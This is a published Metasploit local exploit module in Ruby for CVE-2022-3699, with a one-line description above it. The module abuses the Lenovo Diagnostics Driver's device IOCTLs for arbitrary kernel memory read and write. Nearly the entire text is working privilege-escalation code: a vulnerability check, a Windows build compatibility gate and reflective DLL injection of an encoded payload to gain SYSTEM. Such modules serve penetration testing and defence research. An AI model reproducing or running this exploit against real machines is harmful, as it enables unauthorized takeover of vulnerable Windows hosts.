Headline
Lenovo Diagnostics Driver Memory Access
This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { 'Name' => 'Lenovo Diagnostics Driver IOCTL memmove', 'Description' => %q{ Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory read/write. }, 'License' => MSF_LICENSE, 'Author' => [ 'alfarom256', # Original PoC 'jheysel-r7' # msf module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'References' => [ [ 'CVE', '2022-3699' ], [ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ] ], 'DisclosureDate' => '2022-11-09', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api ] } } } ) ) end def check unless session.platform == 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) CheckCode::Appears end def target_compatible? build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i vprint_status("Windows Build Number = #{build_num}") return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045 return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000 return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348 false end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL unless target_compatible? fail_with(Failure::NoTarget, 'The exploit does not support this target') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') endend